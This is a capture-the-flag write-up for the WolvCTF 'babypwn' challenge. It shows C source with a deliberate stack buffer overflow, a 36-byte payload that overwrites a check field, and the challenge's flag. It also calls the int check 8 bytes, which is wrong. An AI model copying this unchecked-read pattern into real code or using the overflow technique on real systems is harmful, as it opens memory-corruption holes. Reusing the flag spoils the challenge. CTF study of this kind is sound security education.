Tags: buffer-overflow pwn
Rating:
## babypwn
- Tags: pwn
- Description: Just a little baby pwn. nc babypwn.wolvctf.io 1337
## Solution
- To solve this question you need to download the following files and open the source code. You will see the following:
```
#include <stdio.h>
#include <string.h>
#include <unistd.h>
struct __attribute__((__packed__)) data {
char buff[32];
int check;
};
void ignore(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void get_flag(void)
{
char flag[1024] = { 0 };
FILE *fp = fopen("flag.txt", "r");
fgets(flag, 1023, fp);
printf(flag);
}
int main(void)
{
struct data name;
ignore(); /* ignore this function */
printf("What's your name?\n");
fgets(name.buff, 64, stdin);
sleep(2);
printf("%s nice to meet you!\n", name.buff);
sleep(2);
printf("Binary exploitation is the best!\n");
sleep(2);
printf("Memory unsafe languages rely on coders to not make mistakes.\n");
sleep(2);
printf("But I don't worry, I write perfect code :)\n");
sleep(2);
if (name.check == 0x41414141) {
get_flag();
}
return 0;
}
```
- The struct data allocates 32 bytes for buffer and 8 bytes for the check. However, fgets reads in 64 bytes from the standard input into name.buff. Since check is after buffer on the stack, we can perform a buffer overflow by sending 32 random bytes and then 4 bytes of AAAA to pass the check in the code (A = 0x41).
- The payload is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- After some time we will get the flag.
```
wctf{pwn_1s_th3_best_Categ0ry!}
```